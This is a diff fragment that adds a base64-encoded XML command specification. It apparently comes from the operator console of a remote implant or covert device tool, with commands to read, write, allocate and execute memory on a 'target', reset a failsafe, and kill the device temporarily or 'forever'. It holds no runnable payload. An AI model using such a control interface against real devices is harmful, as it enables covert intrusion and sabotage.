+L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAg
+IDwvY21kPg0KICAgIDxjbWQgdGl0bGU9ImZhaWxzYWZlIj4NCiAgICAgIDxoZWxwdGV4dD5SZXNl
+dHMgdGhlIHRvb2wgZmFpbHNhZmUgY291bnRlci48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2
+ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwNDAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAg
+IDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+ZmFpbHNhZmVfYXR0cmli
+XzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPmNvdW50PC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwv
+dHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWUvPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDQwMDAwMDM8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICA8L3Jl
+cXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAg
+IDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4N
+CiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPkZhaWxzYWZlIENvdW50PC90
+aXRsZT4NCiAgICAgICAgICAgIDxlbGVtZW50PmZhaWxzYWZlX2F0dHJpYl8xPC9lbGVtZW50Pg0K
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNs
+YXlvdXQ+DQogICAgPC9jbWQ+DQogIDwvY21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJtZW1vcnki
+Pg0KICAgIDxjbWQgdGl0bGU9InNob3ciPg0KICAgICAgPGhlbHB0ZXh0PlNob3dzIHRoZSBjdXJy
+ZW50IHNldHRpbmdzIGFuZCB2ZXJzaW9uIGluZm9ybWF0aW9uIGFib3V0IHRoZSBtZW1vcnkgY2Fw
+YWJpbGl0eS48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwNjAwMDAwMTwvcHJpbWl0aXZl
+Pg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmlt
+aXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAg
+ICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPk1l
+bW9yeSBTaG93PC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0
+YXR1cyI+DQogICAgICA8aGVscHRleHQ+U2hvd3Mgc3RhdGlzdGljcyBhYm91dCB0aGUgbWVtb3J5
+IGNhcGFiaWxpdHkuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDYwMDAwMDA8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxf
+cHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4N
+CiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRs
+ZT5NZW1vcnkgU3RhdHVzPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0
+bGU9InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5Db3BpZXMgbWVtb3J5IGNhcGFiaWxpdHkgc2V0
+dGluZ3MgZnJvbSB2b2xhdGlsZSBtZW1vcnkgdG8gcGVyc2lzdGVudCBtZW1vcnkgb24gdGhlIHRh
+cmdldC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwNjAwMDAwMjwvcHJpbWl0aXZlPg0K
+ICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRp
+dmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAg
+ICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPk1lbW9y
+eSBTdG9yZTwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4N
+CiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJyZWFk
+Ij4NCiAgICAgIDxoZWxwdGV4dD5SZWFkcyBhbmQgZGlzcGxheXMgdGhlIHRhcmdldCBtZW1vcnkg
+YXJlYSBzdGFydGluZyBhdCB0aGUgc3BlY2lmaWVkIG1lbW9yeSBhZGRyZXNzIGFuZCBoYXZpbmcg
+dGhlIHNwZWNpZmllZCBsZW5ndGggaW4gYnl0ZXMuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRp
+dmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MDYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAg
+ICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAg
+PGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPm1lbW9yeV9yZWFkX2F0
+dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydGluZyBhZGRy
+ZXNzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+IDx0eXBlPnVpbnQ2NDwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MjE8L3NpemU+DQogICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwNjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPG5jdXJzZWlkPm1lbW9yeV9yZWFkX2F0dHJpYl8yPC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5MZW5ndGggKGluIGJ5dGVzKTwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5
+cGU+DQogICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MDYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDwvb3B0aW9uYWxfYXR0cmlidXRlcz4NCiAgICAg
+IDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4N
+CiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPk1lbW9yeSBSZWFkPC90aXRs
+ZT4NCiAgICAgICAgICAgIDxlbGVtZW50Pm1lbW9yeV9yZWFkX2F0dHJpYl8xPC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgPGVsZW1lbnQ+bWVtb3J5X3JlYWRfYXR0cmliXzI8L2VsZW1lbnQ+DQogICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91
+dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJ3cml0ZSI+DQogICAgICA8aGVscHRleHQ+
+V3JpdGVzIHRvIHRoZSBzcGVjaWZpZWQgbWVtb3J5IGFkZHJlc3Mgb24gdGhlIGhvc3RlZCBkZXZp
+Y2UgdGhlIHNwZWNpZmllZCBudW1iZXIgb2YgYnl0ZXMgZnJvbSB0aGUgc3BlY2lmaWVkIGZpbGUu
+PC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0
+aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDYwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+
+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVp
+cmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPG5jdXJzZWlkPm1lbW9yeV93cml0ZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U3RhcnRpbmcgYWRkcmVzczwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT51aW50NjQ8L3R5cGU+DQogICAgICAg
+ICAgICAgIDxzaXplPjIxPC9zaXplPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDYwMDAw
+MDY8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tZW1v
+cnlfd3JpdGVfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkxl
+bmd0aCAoaW4gYnl0ZXMpPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNjAwMDAwNjwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPGNvbW1h
+bmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPm1lbW9yeV93cml0ZV9hdHRyaWJf
+MzwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+TG9jYWwgZmlsZTwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT5zdHJp
+bmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjI1NTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDA2MDAwMDA2PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9j
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAg
+ICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8bmN1
+cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgIDx0aXRsZT5NZW1vcnkgV3JpdGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+
+bWVtb3J5X3dyaXRlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgPGVsZW1lbnQ+bWVt
+b3J5X3dyaXRlX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAgICAgICAgPGVsZW1lbnQ+bWVtb3J5
+X3dyaXRlX2F0dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8
+L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0
+aXRsZT0iYWxsb2NhdGUiPg0KICAgICAgPGhlbHB0ZXh0Pk1hbGxvY3MgdGhlIHNwZWNpZmllZCBu
+dW1iZXIgb2YgYnl0ZXMgb2YgbWVtb3J5IG9uIHRoZSBob3N0ZWQgc3lzdGVtLiBUaGUgYWRkcmVz
+cyBvZiB0aGUgbmV3bHkgYWxsb2NhdGVkIG1lbW9yeSBpcyBkaXNwbGF5ZWQgYWZ0ZXIgc3VjY2Vz
+c2Z1bCBhbGxvY2F0aW9uLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAg
+PHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDA2MDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlv
+bmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+
+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tZW1vcnlfYWxsb2NhdGVfYXR0cmliXzE8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkxlbmd0aCAoaW4gYnl0ZXMpPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnVp
+bnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwNjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwv
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAg
+ICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5j
+dXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICA8dGl0bGU+TWVtb3J5IEFsbG9jYXRlPC90aXRsZT4NCiAgICAgICAgICAgIDxlbGVt
+ZW50Pm1lbW9yeV9hbGxvY2F0ZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21k
+Pg0KICAgIDxjbWQgdGl0bGU9ImV4ZWN1dGUiPg0KICAgICAgPGhlbHB0ZXh0PkV4ZWN1dGUgdGhl
+IHNwZWNpZmllZCBtZW1vcnkgbG9jYXRpb24uPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVz
+Pg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDYwMDAwMDc8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAg
+ICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8
+YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPm1lbW9yeV9leGVjX2F0dHJp
+Yl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5BZGRyZXNzPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnVpbnQ2
+NDwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MjE8L3NpemU+DQogICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwNjAwMDAwNzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAg
+PG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJz
+ZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICA8dGl0bGU+TWVtb3J5IEV4ZWN1dGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+
+bWVtb3J5X2V4ZWNfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8
+Y21kIHRpdGxlPSJmcmVlIj4NCiAgICAgIDxoZWxwdGV4dD5GcmVlIHRoZSBzcGVjaWZpZWQgbWVt
+b3J5IG9uIHRoZSBob3N0ZWQgc3lzdGVtLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4N
+CiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDA2
+MDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAg
+ICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0
+dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tZW1vcnlfZnJlZV9hdHRyaWJf
+MTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+QWRkcmVzczwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT51aW50NjQ8
+L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjIxPC9zaXplPg0KICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MDYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+PC9hcmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1h
+bmRfYXR0cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDxv
+cHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2Vz
+bGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAg
+ICAgPHRpdGxlPk1lbW9yeSBGcmVlPC90aXRsZT4NCiAgICAgICAgICAgIDxlbGVtZW50Pm1lbW9y
+eV9mcmVlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8
+L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogIDwvY21kZ3Jw
+Pg0KICA8Y21kZ3JwIHRpdGxlPSJjYSI+DQogICAgPGNtZGdycCB0aXRsZT0ia2lsbCI+DQogICAg
+ICA8Y21kIHRpdGxlPSJzb2Z0Ij4NCiAgICAgICAgPGhlbHB0ZXh0PkRpc2NvbnRpbnVlcyBjb25u
+ZWN0aXZpdHkgcGVybWl0dGVkIGJ5IHRoZSBkZXZpY2UgZm9yIGEgc3BlY2lmaWVkIHBlcmlvZCBv
+ZiB0aW1lLjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1
+aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDAxMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRp
+b25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmli
+dXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPkNBX3NvZnRfa2lsbF9hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZWxheTwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+
+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwMTAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5DQV9zb2Z0X2tpbGxfYXR0cmliXzI8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RHVyYXRpb248L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQz
+MjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MDEwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRl
+cz4NCiAgICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8dGl0bGU+S2lsbCBTb2Z0PC90aXRsZT4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+Q0Ffc29mdF9raWxsX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgICA8ZWxlbWVudD5DQV9zb2Z0X2tpbGxfYXR0cmliXzI8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNl
+c2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0iaGFyZCI+DQogICAgICAg
+IDxoZWxwdGV4dD5TaHV0cyBkb3duIGZvcmV2ZXIuPC9oZWxwdGV4dD4NCiAgICAgICAgPHByaW1p
+dGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MDEwMDAwMDg8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgICA8L3ByaW1p
+dGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1
+dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+Q0FfaGFyZF9raWxsX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPkRlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4N
+CiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDAxMDAwMDA4PC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAg
